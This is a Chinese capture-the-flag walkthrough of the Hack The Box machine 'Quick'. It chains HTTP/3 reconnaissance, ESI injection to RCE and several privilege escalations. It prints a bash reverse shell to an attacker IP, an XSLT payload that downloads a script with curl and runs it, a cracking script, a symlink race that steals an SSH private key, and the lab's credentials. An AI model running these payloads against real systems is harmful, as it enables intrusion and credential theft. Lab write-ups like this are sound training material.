[Meachines] [Hard] Quick HTTP3(QUIC)+ESI-Injection-RCE+TRP00F自动化权限提升+POS打印机服务权限提升+打印服务任务软链接劫持权限提升
字数 1320 2025-08-20 18:18:11
HTTP3(QUIC)+ESI注入攻击与权限提升技术详解
信息收集阶段
目标识别
- IP地址: 10.10.10.186
- 开放端口:
- 22/tcp (SSH) - OpenSSH 7.6p1 Ubuntu
- 9001/tcp (HTTP) - Apache httpd 2.4.29
主机名解析
将以下条目添加到/etc/hosts文件:
10.10.10.186 quick.htb portal.quick.htb
HTTP/3与QUIC协议利用
HTTP/3基础知识
HTTP/3基于QUIC协议,通过改进传输层提高网络性能和用户体验。其特点包括:
- 更低的延迟
- 更高的性能
- 2020年正式成为标准协议
QUIC客户端工具准备
git clone --recursive https://github.com/cloudflare/quiche.git
cd quiche
sudo apt install cargo
cargo build --examples
cd target/debug/examples
目标网站探测
使用QUIC客户端探测目标网站:
./http3-client https://portal.quick.htb
./http3-client https://portal.quick.htb/?view=contact
./http3-client https://portal.quick.htb/?view=about
./http3-client https://portal.quick.htb/?view=docs
关键信息获取
从文档中发现默认凭证:
- 密码: `Quick4cc3
\[` ## 登录凭证利用 ### 客户列表获取 访问: `http://quick.htb:9001/clients.php` ### 登录尝试 使用发现的凭证登录: - 用户名: `elisa@wink.co.uk` - 密码: `Quick4cc3 \]
`
ESI (Edge Side Include)注入攻击
ESI工作原理
ESI允许将网页的不同部分分开管理和缓存,主要特点:
- 静态头部、动态内容和静态页脚可以分别缓存
- 在客户端请求时动态组合成完整页面
ESI注入攻击类型
- 敏感信息泄露: 通过ESI指令请求服务器上的敏感内容
- 缓存污染: 恶意ESI代码污染缓存服务器
- 跨站脚本攻击(XSS): 注入JavaScript代码
ESI RCE实现步骤
- 准备反向shell脚本(reverse.sh):
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.17/10032 0>&1
- 创建XSLT文件(rev.xsl)用于命令执行:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[curl http://10.10.16.17/reverse.sh -o /dev/shm/reverse.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
<xsl:variable name="cmd2"><![CDATA[bash /dev/shm/reverse.sh]]></xsl:variable>
<xsl:variable name="rtObj2" select="rt:getRuntime()"/>
<xsl:variable name="process2" select="rt:exec($rtObj2, $cmd2)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
Process: <xsl:value-of select="$process2"/>
Command: <xsl:value-of select="$cmd2"/>
</root>
</xsl:template>
</xsl:stylesheet>
- 创建请求XML文件(req.xml):
<?xml version="1.0" encoding="UTF-8"?>
</xml>
- 发送恶意请求:
POST /ticket.php HTTP/1.1
Host: quick.htb:9001
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
title=rev&msg=<esi:include+src="http://10.10.16.17/req.xml"+stylesheet="http://10.10.16.17/rev.xsl"></esi:include>&id=TKT-13333
- 触发漏洞:
GET /search.php?search=TKT-13333 HTTP/1.1
Host: quick.htb:9001
权限提升技术
TRP00F自动化提权工具
python3 trp00f.py --lhost 10.10.16.17 --lport 10012 --rhost 10.10.16.17 --rport 10011 --http 1111
选择利用pkexec漏洞
密码破解
从/etc/apache2/sites-enabled/000-default.conf发现salt值: fa
使用Python脚本破解密码:
#!/usr/bin/env python3
import crypt
import hashlib
import sys
with open(sys.argv[2], 'rb') as f:
for passwd in f:
try:
if hashlib.md5(crypt.crypt(passwd.strip().decode(), 'fa').encode()).hexdigest() == sys.argv[1]:
print(f'[+] Found password: {passwd.decode()}')
sys.exit()
except UnicodeDecodeError:
pass
执行:
python3 crk.py e626d51f8fbfd1124fdea88396c35d05 /usr/share/wordlists/rockyou.txt
发现密码: yl51pbx
打印机服务提权
- 设置本地端口转发:
ssh -i ~/.ssh/id_ed25519 sam@10.10.10.186 -L 9001:localhost:80
- 登录打印机服务:
- 用户名:
srvadm@quick.htb - 密码:
yl51pbx
- 分析job.php漏洞:
- 打印任务文件保存在/var/www/jobs/
- 文件权限设置为0777
- 打印前会读取文件内容
- 实施符号链接攻击:
# 在目标机器上
while true; do for fn in *; do if [[ -r $fn ]]; then rm -f $fn; ln -s /home/srvadm/.ssh/id_rsa $fn; fi; done; done
- 触发打印任务:
curl -XPOST -d "title=111&desc=111&submit=true" -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=6j8b40v12i082bv5dk1dmp8a64" http://printerv2.quick.htb:9001/job.php
- 获取srvadm用户SSH密钥后登录:
ssh -i ./id_rsa srvadm@10.10.10.186
- 最终提权到root:
- 在srvadm的缓存目录发现打印机配置:
cat .cache/conf.d/printers.conf
- 包含root凭据信息
关键文件位置
- 用户flag:
/home/sam/user.txt-d4aeedf4a44cef6d73558f2bc23adb7d - root flag:
/root/root.txt-2771468eec7cdf67e8ff46d98f7499ca
总结
本攻击链综合利用了以下技术:
- HTTP/3协议特性探测
- 默认凭证利用
- ESI注入实现RCE
- 密码破解
- 打印机服务符号链接攻击
- 配置信息泄露提权
每种技术都针对系统不同层面的弱点,展示了从外部探测到最终获取root权限的完整攻击路径。